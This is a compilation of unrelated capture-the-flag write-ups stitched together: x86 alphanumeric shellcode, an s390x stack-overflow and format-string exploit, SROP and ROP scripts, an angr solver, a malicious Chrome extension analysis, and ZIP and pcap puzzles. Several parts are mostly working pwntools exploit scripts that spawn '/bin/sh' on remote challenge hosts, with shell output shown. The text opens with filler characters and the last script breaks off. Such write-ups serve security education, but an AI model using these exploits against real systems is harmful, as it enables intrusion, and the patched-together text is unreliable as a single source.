aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$```
## Second-Stage Shellcode for Shell
Now that I have a read in place, I can just send in whatever shellcode I want, and it will be executed as long as I include enough padding at the beginning to make the start of my actual code level with end of my read call (0x80 bytes of NOPs is about right!). As a result, I wrote a simple execve('/bin/sh') shellcode; I avoided pushes and pops since those seemed to be causing issues on my local machine. The full, final exploit script is:```from pwn import *
#target = process('./chal_patched') #, env={'LD_PRELOAD': 'libc_16bit.so.6'})
#pid = gdb.attach(target, "\nb *main+148\n set disassembly-flavor intel\ncontinue")target = remote('0.cloud.chals.io', 23261)context.clear(arch='amd64')import base64
#Write in the first Hshellcode = asm('''xor al, 0x33; xor dh, BYTE PTR [rax];xor al, 0x33;xor al, 0x31;xor dh, BYTE PTR [rax];xor al, 0x41;xor BYTE PTR [rax], dh;''')#Write in the second Hshellcode += asm('''xor al, 0x33;xor al, 0x30;xor BYTE PTR [rax], dh;''')#Writing the 0xff:#Remember dh = 0x9 and al = 0x73 at this point.shellcode += asm('''xor al, 0x42;xor dh, BYTE PTR [rax];xor al, 0x43;xor BYTE PTR [rax], bh;xor BYTE PTR [rax], dh; ''')#Writing the 0xc0:#Remember dh = 0x39 and al = 0x72 at this point.shellcode += asm('''xor al, 0x30;xor al, 0x37;xor BYTE PTR [rax], bh;''')#Writing the 0x0f to 0x76:#Remember dh = 0x39 and al = 0x75 at this point.shellcode += asm('''xor al, 0x30;xor al, 0x33;xor BYTE PTR [rax], dh;''')#Writing the 0x05 to 0x77:#Remember dh = 0x39 and al = 0x75 at this point.
print(len(shellcode))shellcode += asm('xor BYTE PTR [rsi], dh;') * ((0x30 - len(shellcode)) // 2)shellcode += asm('''xor dh, BYTE PTR [rax]xor al, 0x39;''')
shellcode += asm('''xor al, 0x39;xor al, 0x30;xor al, 0x31;xor BYTE PTR [rax], dh;''')
payload = base64.b16decode(shellcode + asm('xor BYTE PTR [rsi], dh;') * ((0x70 - len(shellcode)) // 2) + b'A' + b'12' + b'A' + b'14' + b'63')
print(payload)target.sendline(payload)
payload2 = b'\x90' * 0x80payload2 += asm('''lea rdi, [rip+0x30];xor rsi, rsi;xor rdx, rdx;mov rax, 59;syscall;''')payload2 += b'\x90' * (0x30 - len(payload2) + 0x80 + 7) + b'/bin/sh\x00'
target.sendline(payload2)target.interactive()```Then you just run it a few times until you get a shell; if my odds of success were worse, I would have set up a proper while loop and automatically printed the flag out if possible:```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/CyberOpen22$ python3 16_bit_writeup.py[+] Opening connection to 0.cloud.chals.io on port 23261: Done42b'C CA J\x00C@\x00K L\x08\x00@G\x08@C\x00\x06\x06\x06 II@A\x00\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\xa1*\x14c'[*] Switching to interactive modeData:$ ls-banner_failbinbootchaldevetcflag.txthomeliblib32lib64libx32mediamntoptprocrootrunsbinservice.confsrvsystmpusrvarwrapper$ cat flag.txtuscg{Nothing_Like_A_Bit_Of_Shellcode_For_The_Week}$```For additional reference, the base16-encoded shellcode looks like `43204341204A004340004B204C08004047084043000606062049494041000606060606060606060606060606060606060606060606060606A12A14630A`
Thanks for reading! |
This blog post explains three ways to exploit Log4j 2.17.2 from [Google CTF 2022](https://capturetheflag.withgoogle.com/):
- Level 1: Trigger an exception in Log4j that contains the flag- Level 2: Guessing the flag with the help of RegEx conversion patterns- Bonus: Guessing the flag with a time-based side channel using [ReDoS](https://en.wikipedia.org/wiki/ReDoS)
The bonus was not necessary to solve the challenge but fun to code ;)
[Full writeup](http://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) |
# gibson - Stack overflow to RCE on s390x> Can you really call it a "main"frame if I haven't used it before now?> Author: [Research Innovations, Inc. (RII)](https://www.researchinnovations.com/)> - [gibson_s390x.tar](https://github.com/tj-oconnor/cyber-open-2022/blob/main/pwn/gibson/files/gibson_s390x.tar)
Gibson was a binary exploitation challenge in the US Cyber Open CTF in 2022, which is the first step toward qualification for the US Cyber Team. At the end of the CTF, it was worth 1000 points and had 10 solves. I was the fourth solve on this challenge (could have been second if CTFd wasn't glitching<sup id="a1">[[1]](#f1)</sup> ?).
Anyways, let's get to the challenge!
We are given a tarball that contains a docker setup (for both debug and testing), and the binaries for the challenge (which were a program called `mainframe` and the `libc.so.6` file that it dynamically loads).
## Initial Investigation - What even is this?
Running `file` and `checksec` on the binary, we find that it is compiled for the s390x architecture. I'd never heard of this architecture before, but looking it up, it looks like it was designed by IBM, and was discontinued in 1998. ?
```$ file mainframemainframe: ELF 64-bit MSB executable, IBM S/390, version 1 (SYSV), dynamically linked, interpreter /lib/ld64.so.1, BuildID[sha1]=5684ff421a651508bbe92190636290180d7e03c2, for GNU/Linux 3.2.0, not stripped$ checksec mainframe[!] Could not populate PLT: AttributeError: arch must be one of ['aarch64', 'alpha', 'amd64', 'arm', 'avr', 'cris', 'i386', 'ia64', 'm68k', 'mips', 'mips64', 'msp430', 'none', 'powerpc', 'powerpc64', 'riscv', 's390', 'sparc', 'sparc64', 'thumb', 'vax'][*] '/home/ethan/ctf/uscyberopen/pwn/gibson/gibson_s390x/bin/mainframe' Arch: em_s390-64-big RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x1000000)```
This gives us some information about the binary. Seems that s390x is a big-endian architecture (yikes!), and that the binary is compiled with no PIE and no canary.
## Setting up the environment - Thanks for the help!Thankfully, the challenge author has left a `tips.md` file for us to read, to guide us in setting up a debug/test environment. Not only that, but a `docker-compose.yml` file has been left for us to do all the necessary configuration for the challenge environment. Other people did run into some problems with the debug environment not working, but this could be solved by updating to the latest version of Docker and docker-compose.
Running `docker-compose up --build -d`, we start the containersâone for debug and one for testing. As we can see from the `tips.md` file, we can connect to `localhost:8888` to access the debug challenge, `localhost:1234` to access the qemu gdbserver, and `localhost:9999` to access a testing environment for the challenge that should be identical to the one that the organizers have.
Now that we have a debug environment, we can start with the actual challenge!
## Reverse engineering - Time to guess what opcodes do!
I looked online for any decompilers for s390x, but it seems that there was nothing. So, I installed `s390x-linux-gnu-objdump` with `apt-get install binutils-s390x-linux-gnu`, and started reading through the assembly code. The important part of the disassembly is the `main` function:
> Sidenote: Sadly, `s390x-linux-gnu-objdump` does not seem to support Intel syntax, so we'll have to bear with what we have right now.?
```asm0000000001000830 <main>: 1000830: eb bf f0 58 00 24 stmg %r11,%r15,88(%r15) 1000836: e3 f0 fb 58 ff 71 lay %r15,-1192(%r15) 100083c: b9 04 00 bf lgr %r11,%r15 1000840: c4 18 00 00 0b d8 lgrl %r1,1001ff0 <stdin@GLIBC_2.2> 1000846: e3 10 10 00 00 04 lg %r1,0(%r1) 100084c: a7 59 00 00 lghi %r5,0 1000850: a7 49 00 02 lghi %r4,2 1000854: a7 39 00 00 lghi %r3,0 1000858: b9 04 00 21 lgr %r2,%r1 100085c: c0 e5 ff ff ff 1c brasl %r14,1000694 <setvbuf@plt> 1000862: c4 18 00 00 0b cb lgrl %r1,1001ff8 <stdout@GLIBC_2.2> 1000868: e3 10 10 00 00 04 lg %r1,0(%r1) 100086e: a7 59 00 00 lghi %r5,0 1000872: a7 49 00 02 lghi %r4,2 1000876: a7 39 00 00 lghi %r3,0 100087a: b9 04 00 21 lgr %r2,%r1 100087e: c0 e5 ff ff ff 0b brasl %r14,1000694 <setvbuf@plt> 1000884: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 100088a: a7 49 04 00 lghi %r4,1024 100088e: a7 39 00 00 lghi %r3,0 1000892: b9 04 00 21 lgr %r2,%r1 1000896: c0 e5 ff ff ff 0f brasl %r14,10006b4 <memset@plt> 100089c: c0 20 00 00 00 d6 larl %r2,1000a48 <_IO_stdin_used+0x4> 10008a2: c0 e5 ff ff fe d9 brasl %r14,1000654 <puts@plt> 10008a8: c0 20 00 00 00 d7 larl %r2,1000a56 <_IO_stdin_used+0x12> 10008ae: c0 e5 ff ff fe d3 brasl %r14,1000654 <puts@plt> 10008b4: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 10008ba: a7 49 07 d0 lghi %r4,2000 10008be: b9 04 00 31 lgr %r3,%r1 10008c2: a7 29 00 00 lghi %r2,0 10008c6: c0 e5 ff ff fe 97 brasl %r14,10005f4 <read@plt> 10008cc: c0 20 00 00 00 cf larl %r2,1000a6a <_IO_stdin_used+0x26> 10008d2: c0 e5 ff ff fe c1 brasl %r14,1000654 <puts@plt> 10008d8: e5 48 b4 a0 00 00 mvghi 1184(%r11),0 10008de: a7 f4 00 13 j 1000904 <main+0xd4> 10008e2: e3 10 b4 a0 00 04 lg %r1,1184(%r11) 10008e8: 43 11 b0 a0 ic %r1,160(%r1,%r11) 10008ec: c0 17 00 00 00 52 xilf %r1,82 10008f2: 18 21 lr %r2,%r1 10008f4: e3 10 b4 a0 00 04 lg %r1,1184(%r11) 10008fa: 42 21 b0 a0 stc %r2,160(%r1,%r11) 10008fe: eb 01 b4 a0 00 7a agsi 1184(%r11),1 1000904: e3 10 b4 a0 00 04 lg %r1,1184(%r11) 100090a: c2 1e 00 00 03 ff clgfi %r1,1023 1000910: a7 c4 ff e9 jle 10008e2 <main+0xb2> 1000914: a7 29 00 00 lghi %r2,0 1000918: c0 e5 ff ff fe 8e brasl %r14,1000634 <sleep@plt> 100091e: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 1000924: b9 04 00 21 lgr %r2,%r1 1000928: c0 e5 ff ff fe 76 brasl %r14,1000614 <printf@plt> 100092e: a7 18 00 00 lhi %r1,0 1000932: b9 14 00 11 lgfr %r1,%r1 1000936: b9 04 00 21 lgr %r2,%r1 100093a: eb bf b5 00 00 04 lmg %r11,%r15,1280(%r11) 1000940: 07 fe br %r14 1000942: 07 07 nopr %r7 1000944: 07 07 nopr %r7 1000946: 07 07 nopr %r7 ```These opcodes are different than the familiar ones, as this is not x86. I found a reference for the opcodes at https://en.wikibooks.org/wiki/360_Assembly/360_Instruction, but a lot of the opcodes do not have a wiki article added so I had to do a bit of inferring as to what each opcode did.
While investigating s390x, I also noticed that at the end of each function, we have a `br %r14` instruction. This instruction means that program execution continues at the address in `r14` after a function is called. We could say that the return address is stored in the `r14` register. I also found that `r15` is being used as the stack pointer.
After a while, I found two vulnerabilities. First of all, there's a stack buffer overflow at `0x10008c6`:
```asm 10008b4: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 10008ba: a7 49 07 d0 lghi %r4,2000 10008be: b9 04 00 31 lgr %r3,%r1 10008c2: a7 29 00 00 lghi %r2,0 10008c6: c0 e5 ff ff fe 97 brasl %r14,10005f4 <read@plt>```
Here, 2000 bytes are written into a buffer that is 1024 (or something like that) bytes long. We can guess from here that the calling convention for this architecture is that arguments get passed through `r2`, `r3`, and then `r4`. This is because we see here that `read(0, <address>, 2000)` is being called.
Another vulnerability that I found was that at `0x1000928`, user input is passed through `r2`, making it the first argument to `printf`. This is a format string vulnerability.
```asm 100091e: ec 1b 00 a0 00 d9 aghik %r1,%r11,160 1000924: b9 04 00 21 lgr %r2,%r1 1000928: c0 e5 ff ff fe 76 brasl %r14,1000614 <printf@plt> ```However, after running the program (through connecting to `localhost:9999`), we can see that the lines of assembly before the call to `printf` do manipulate our input a little bit.
```$ nc localhost 9999GIBSON S390XEnter payroll data:asdfasdfasdfasdfProcessing data...3!643!643!643!64XRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR```
Through looking at the assembly and experimenting a bit, we can see that our input is XORed with the character `R` before being passed to `printf`. This shouldn't be a problem, because we can just XOR our input with `R` before passing it the program.
So, let's see what we know at this point:- The program reads in too much input, leading to a stack buffer overflow- The program also calls `printf()` on the input XORed with `R`, allowing us to leak values (or write to arbitrary addresses with the `%n` format specifier)
## Exploitation - What do we control?We do have a stack overflow, but we do not know if the stack in s390x works the same way as in x86. So, we do some experimentation.
First, we generate a cyclic pattern with `cyclic 2000 -n 8`. Then we pass it to the program running with GDB at `localhost:8888`. This can be debugged with the gdbserver running at `localhost:1234` using gdb-multiarch:
```gef†set architecture s390:64-bitThe target architecture is assumed to be s390:64-bitgef†file bin/mainframeReading symbols from bin/mainframe...(No debugging symbols found in bin/mainframe)Python Exception <class 'ValueError'> 22 is not a valid Abi:gef†target remote localhost:1234```
We can then examine the registers in GDB with `info reg`. Four of the registers look like they have been affected by our input:
```r11 0x7061616161616166 0x7061616161616166r12 0x7161616161616166 0x7161616161616166r13 0x7261616161616166 0x7261616161616166r14 0x7361616161616166 0x7361616161616166r15 0x7461616161616166 0x7461616161616166```
Seems that we have control over `r11`, `r12`, `r13`, `r14`, and `r15`! This is more register control than we would have in x86_64, where we have control over only `rbp` and `rip`. We know that `r14` will be jumped to at the end of the function, so we do control the return address. We also know that `r15` is the stack pointer. This should not be changed by our overflow. Lastly, we control `r11` through `r13`, which could be useful later when trying to get a shell.
We look up the offsets to our saved registers with `cyclic -l 0x6661616161616170 -n 8`. (Note how I had to convert from big endian to little endian) This gives us an offset of 1120 bytes to our saved registers!
The `mainframe` binary in of itself does not have a win function or anything that would be useful to call, so we will have to try to leak the libc base address in order to get a shell. We can do this with a format string. This format string leak can be done in the same way as we would usually do a format string leak, so I will not cover the details here. However, there are two things that we must pay attention to:- We must make sure to XOR it with `R` when we are finished.- Because this is big-endian, the first two bytes are null. So, if we want to leak with `%s`, we must offset our address by 2 to get the non-null bytes.
I used this python snippet with pwntools to generate the format string payload<sup id="a2">[[2]](#f2)</sup>:
```pythonxor(b"%6$s\0\0\0\0" + p64(elf.got.puts+2), b"R")```
We can parse this with u64() in pwntools, which will automatically use big endian for p64() and u64() if we set the context correctly.
Now that we have a leak, we can use our overflow to return back to the main function and do another overflow, this time with a leak!
## Finding shell gadgets - Grep for the win!Now that we have control of the program control flow and a leak, we can jump to an address that will give us a shell! On x86_64, I would use a one_gadget to spawn a shell. However, there are no tools (that I know of) that will do this on s390x. I'm not even sure if there are any one_gadgets on this version of the s390x libc. However, remembering that we have control over `r11`, `r12`, and `r13`, we can find something that's close enough.
First of all, we need to look into syscalls in the s390x architecture. Finding a place where the `execve` syscall is being called is a good first step in finding somewhere that will spawn a shell. I found a [table](https://github.com/torvalds/linux/blob/master/arch/s390/kernel/syscalls/syscall.tbl) of syscall numbers int the kernel source code, which tells us that `execve` is syscall 11. Referring back to the table of instructions found earlier, we find that the `svc` instruction is used to call a syscall. We chain `objdump` and `grep` to find where this syscall is used:
```$ s390x-linux-gnu-objdump -d libc.so.6 | grep -B 3 -A 3 'svc\s*11$' d9bfe: 07 07 nopr %r7
00000000000d9c00 <execve@@GLIBC_2.2>: d9c00: 0a 0b svc 11 d9c02: a7 49 f0 01 lghi %r4,-4095 d9c06: b9 21 00 24 clgr %r2,%r4 d9c0a: c0 b4 00 00 00 04 jgnl d9c12 <execve@@GLIBC_2.2+0x12>```There's only one location where `execve` is called, at the beginning of the `execve()` function. We use the same strategy to find where `execve()` is called, and we find this gadget:
```$ s390x-linux-gnu-objdump -d libc.so.6 | grep -B 3 -A 3 'd9c00' ... da680: b3 cd 00 49 lgdr %r4,%f9 da684: b3 cd 00 3e lgdr %r3,%f14 da688: b9 04 00 2d lgr %r2,%r13 da68c: c0 e5 ff ff fa ba brasl %r14,d9c00 <execve@@GLIBC_2.2> da692: e3 10 b0 a0 00 04 lg %r1,160(%r11) da698: e3 60 10 00 00 04 lg %r6,0(%r1) da69e: 58 16 a0 00 l %r1,0(%r6,%r10) ...```
Jumping to `libc base + 0xda688` will load the contents of `r13` into `r2` (where the first argument of the syscall is called), then call `execve()`, which will call the `execve` syscall!
Because we control `r13`, we can put the address of `/bin/sh` (which is present in libc because of the `system` function) into the first argument passed to `excecve`, hope that `r3` and `r4` are 0, and spawn a shell!<sup id="a3">[[3]](#f3)</sup>
That gives us our final exploit path:- Leak libc address by using the format string to read from the GOT- Return to main because we control `r14`- Return to the shell gadget while setting `r13` to a pointer to `/bin/sh`
## Putting it all together
Here's my solve script:
```pythonfrom pwn import *
elf = ELF("./mainframe")libc = ELF("./libc.so.6")context.arch = "s390"context.bits = 64conn = remote("localhost", 9999)
payload = xor(b"%6$s\0\0\0\0" + p64(elf.got.puts+2), b"R")payload = payload.ljust(1120, b"a")payload += p64(0) # r11payload += p64(0) # r12payload += p64(0) # r13payload += p64(elf.sym.main) # r14conn.send(payload) # ret2main
conn.recvuntil(b"...\n")libc.address = u64(b"\0\0" + conn.recv(6)) - libc.sym.puts # leak libcinfo("libc @ " + hex(libc.address))
payload = b""payload = payload.ljust(1120, b"a")payload += p64(0) # r11payload += p64(0) # r12payload += p64(next(libc.search(b'/bin/sh'))) # r13, gets popped into r2payload += p64(libc.address + 0xda680) # r14, our shell gadgetconn.send(payload)
conn.interactive()```
This gets us a shell, and we can run `cat flag` to get the flag<sup id="a4">[[4]](#f4)</sup>: `USCG{RIIdiculouslyAwesome_5d4b48559f6ee937b9cbfc809bafad62}`
---
[1] The organizers were not able to host the challenge as something that players could connect to, so instead we had to submit solve scripts through a (glitchy) submission box on CTFd. I believe that my submission didn't go through the first time I solved it.?[â©](#a1)
[2] Originally, I used `%p` to leak the libc address, but this was different on the debug and testing environments, probably because the stack was shifted around as a result of the different environments. A more reliable way was to use the GOT to leak, which is what I did in this writeup. [â©](#a2)
[3] After some discussion with others, it seems that some people were able to utilize the `system` function, or find a gadget to arbitrarily set `r2`. But I like this method because it's the first thing that I found in libc. ?[â©](#a3)
[4] This was actually DMed to us afterwards, as the organizers ran the solve scripts against their own infrastructure rather than having players to run them. [â©](#a4) |
Stomped was one of my favorite problems. It's one of those problems that sounds extremely easy to solve from the solution but hard to realize how to get to the solution. So, let's start.
Firstly, we open the PCAP file in Wireshark. I looked around a bit and noticed each packet had one byte of data to it. My first thoughts on seeing that was "Collect. The. Data." and I did. I exported the packets into a JSON file and since I was too lazy to script a python program that would parse the data and decrypt it even thought that would make life so much easier. In fact, I will write a python script as a reference now. I ran `strings stomped.pcap | grep "data.data"` and collected it. After removing the data.data, again, make a python script. I got the data. It was in the form of hexadecimal and once I decoded that I noticed something was off. After you work with Base64 a lot, you notice the two equal to signs at the end of the encoded message. And this message had two equal to signs just not at the end, it was scattered. So, I had a feeling this message's data order was scrambled. Now, I looked at the time of when the packets were received. Interesting. Some of the packets were received at a negative time. Negative time, breaking the laws of physics. I used my googling skills to find out you can reorder the packets based on the time received. The tool is called reordercap. With that tool, I yeeted the pcap file to that tool and it produced a holy ordered Wireshark file. I exported the packets to another JSON file and got the data. Decoding the data, from hexadecimal and Base64 after that.
I got the flag: **uscg{2_m0st_p0w3rful_w4rr1ors_ar3_pati3nc3_and_t1me}** |
# ChromeMiner - (Reversing)
## Description
Discurd has filed a DMCA violation regarding a popular browser extension claiming to be conducting VIP giveaways on the company's product. The addon store has since taken down the extension to prevent any potential browser cryptomining malware from being distributed in the marketplace. Could you investigate what the 'Discurd Nitro Giveaway' addon does exactly?
There was one file attached, DiscurdNitru.crx
## Writeup
### Begin
Unpacking .crx with the online tool (https://crxextractor.com/) gives us `background.js` (and icons + manifest, but let's focus on the code)

### Deobfuscation
The code was obfuscated, but again, an online tool comes with help (https://deobfuscate.io/)

### Sanitization
After the deobfuscation, we still need to sanitize the file to get rid of the `q` array.
My first try was to manually sanitize the strings from the array `q` with python just copy pasting ``q[462] + q[847] + q[39] + q[539]...`` word after word, but there were plenty of them, so automated it...
Some C# code (Sanitizer.csx)...
Running: ``dotnet script .\Sanitizer.csx``
And we have sanitized strings from the array ``q``

JavaScript looks awful, I don't understand what's going on here, but we can see there is a code looking like encryption.
Also, there we can finally see some meaningful strings:* `_NOT_THE_SECRET_`* `E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8`* `AES-CBC`
### Decryption
So it looks like we have the encryption method `AES-CBC`, the encrypted message `E242E642...` and something that actually looks like the secret `_NOT_THE_SECRET`.
So another online tool comes with help (https://www.devglan.com/online-tools/aes-encryption-decryption):
* Encrypted message: `E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8` (Hex)* Cipher Mode: `CBC with key size 128 bits`* Secret key: `_NOT_THE_SECRET_`
Gives Base64: `FxoNLwALJRwAJRc6DSojEV9DSFIwbWVfTTFOM1JfX30=`
Which gives: ` ??/?%?%?:*#?_CHR0me_M1N3R__}`
Well... half of the flag captured. But what about the first half? The secret key must be valid or else we wouldn't find anything.
But AES-CBC has something like `initialization vector`, so let's try using the same secret key as the `IV` as well
* IV: `_NOT_THE_SECRET_`
Gives Base64: `SFRCe19fbVlfdlJ5X293Tl9DSFIwbWVfTTFOM1JfX30=`
Which gives flag: `HTB{__mY_vRy_owN_CHR0me_M1N3R__}` |
# APPNOTE.txt - Google CTF 2022- **Source:** [GitHub](https://github.com/Ik0ri4n/google-ctf-22-write-ups/blob/main/appnotedottxt/writeup.md)- **Category:** misc- **Points:** 50pt- **Date:** Fri, 01 July 2022, 18:00 UTC - Sun, 03 July 2022, 18:00 UTC- **Attachments:** [dump.zip](https://github.com/Ik0ri4n/google-ctf-22-write-ups/blob/main/appnotedottxt/dump.zip)- **Write-Up author:** Dominik Waibel- **Description:**
> Every single archive manager unpacks this to a different file...
## Examining the archive
With regular extraction the challenge archive, dump.zip, contains a single file, hello.txt, with the content:
> There's more to it than meets the eye...
Analyzing the archive with `strings` shows that the archive contains entries for another text file, hi.txt, and for files with the names flag00 to flag18, with 36 different versions each.**The flagXX file versions contain the letters a-z, {, C, T, F, 0, 1, 3, 7, } and \_**.The file hi.txt however contains the text:
> Find the needle in the haystack...
Analyzing the file with `binwalk` confirms that the archive entries for all of these files exist.However the zip format is obviously manipulated in such a way that they are not extracted.
## Zip format
The documentation of the zip format is called [APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT).According to it the regular structure of a zip file is:
- [local file header 1]- _[encryption header 1]_- [file data 1]- _[data descriptor 1]_- ...- [local file header n]- _[encryption header n]_- [file data n]- _[data descriptor n]_- _[archive decryption header]_- _[archive extra data record]_- [central directory header 1]- ...- [central directory header n]- _[zip64 end of central directory record]_- _[zip64 end of central directory locator]_- [end of central directory record]
The cursive parts are optional parts used for features like Zip64 or encryption.
Analyzing dump.zip with a hex editor reveals that it uses the following structure:
- [local file header 1]- [file data 1]- [central directory header 1]- ...- [local file header 686]- [file data 686]- [central directory header 686]- [end of central directory record 1]- ...- [end of central directory record 21]
While Local File Headers are usually not allowed in the Central Directory Structure the archive is still valid because each Central Directory Entry simply declares the rest of the file up to last End Of Central Directory Record as its file comment.Thus only the first file, hello.txt, is extractable.**The remaining End Of Central Directory Records reference the correct Central Directory Header for the remaining files** though using the offset to the Central Directory Structure.It is possible (and relatively quick) to simply jump to all those positions and read the flag characters from the File Data directly before that position.Since I already experimented with code manipulating zip archives while solving the challenge I also provide a [script](https://github.com/Ik0ri4n/google-ctf-22-write-ups/blob/main/appnotedottxt/solver.py) that copies all the desired headers to a valid zip file and outputs **the flag `CTF{p0s7m0d3rn_z1p}`**. |
```pythonfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('0.cloud.chals.io', 21978) else: return process(e.path)
p = start()
p.recvuntil(b'<<< Push your way to /bin/sh at : ')bin_sh = int(p.recvline(), 16)info("BinSH = %s", hex(bin_sh))
p.sendline(b'Y')p.recvuntil(b'push 0x58585858; ret | ')pop_rax = int(p.recvline(), 16)+6info("Pop RAX = %s", hex(pop_rax))
ret = pop_rax+1
p.sendline(b'Y')p.recvuntil(b'push 0x0f050f05; ret | ')syscall_ret = int(p.recvline(), 16)+4info("Syscall RET = %s", hex(syscall_ret))
def srop_exec(): chain = p64(pop_rax) chain += p64(0xf) chain += p64(syscall_ret)
frame = SigreturnFrame(arch="amd64", kernel="amd64") frame.rax = constants.SYS_execve frame.rdi = bin_sh frame.rip = syscall_ret
return chain+bytes(frame)
pad = p64(ret)*20chain = srop_exec()p.sendline(pad+chain)
p.interactive()``` |
TL;DR: recover prime factors of `λ(n)` from `r_j = prod(s_i) + 1` where `s_i` are factors of the period. Then use `d = e^{-1} mod(prod(r_j))` as decryption exponent, since (hopefully) `prod(r_j) = k * λ(n)` Full writeup and analysis at <https://ur4ndom.dev/posts/2022-07-04-gctf-cycling/> |
Partial Overwrite to get a format stringLeak php base adressRopchain in phpdup stdout/stdin to network FDspawn /bin/sh[Full writeup](https://fascinating-confusion.io/posts/2022/07/htb-business-ctf-22-superfast-writeup/) |
```pythonimport angrimport claripyimport sysfrom pwn import *
logging.getLogger('angr').setLevel(logging.WARNING)logging.getLogger('os').setLevel(logging.WARNING)logging.getLogger('pwnlib').setLevel(logging.WARNING)
binary = args.BINcontext.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('0.cloud.chals.io', 14011) else: return process(e.path)
p = start()
def solve(t):
p.recvuntil(b'Nonce 1:') random_val1 = int(p.recvline()) info('Nonce 1: %i' % random_val1) p.recvuntil(b'Nonce 2:') random_val2 = int(p.recvline()) info('Nonce 2: %i' % random_val2)
project = angr.Project(binary)
start_address = 0x40155e initial_state = project.factory.blank_state( addr=start_address, add_options={angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY, angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS} )
password = claripy.BVS('', 64)
initial_state.regs.rdi = random_val1 initial_state.regs.rsi = random_val2 initial_state.regs.rdx = t initial_state.regs.rcx = password
simulation = project.factory.simgr(initial_state)
def is_successful(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Correct.'.encode() in stdout_output
def should_abort(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Incorrect.'.encode() in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found: solution_state = simulation.found[0] solution = solution_state.solver.eval(password) info("Found solution: %i" % solution) p.sendline(b'%i' % solution) warn('Sent solution: %i for iteration: %i' % (solution, t)) p.recvuntil(b'Continuing') else: raise Exception('Could not find the solution')
for i in range(1, 100): solve(i)
p.recvuntil(b'Throw Your Exploit')print("Throwing Exploit")
pop_rdi = p64((r.find_gadget(['pop rdi', 'ret']))[0])bin_sh = p64(e.sym['shell'])system = p64(e.sym['system'])
pad = cyclic(16)chain = pop_rdichain += bin_shchain += system
p.sendline(pad+chain)
p.sendline(b'cat flag.txt')p.interactive()``` |
```python#!/usr/bin/env python3
from pwn import *
if args.REMOTE: p = remote('0.cloud.chals.io', 11444)else: p = process('./chal.py', stdin=PTY)
# Generate Gray Codes# Taken from https://stackoverflow.com/questions/38738835/generating-gray-codes
def gen_codes(): n = 10 gray_codes = [] for i in range(0, 1 << n): gray = i ^ (i >> 1) if gray < 1000: gray_codes.append(gray) info("Generated Gray Codes") return gray_codes
def login(): user = b'mgrey' passwd = b'1515' p.recvuntil(b'Username:') p.sendline(user) p.recvuntil(b'Password:') p.sendline(passwd) info('Sent username and password')
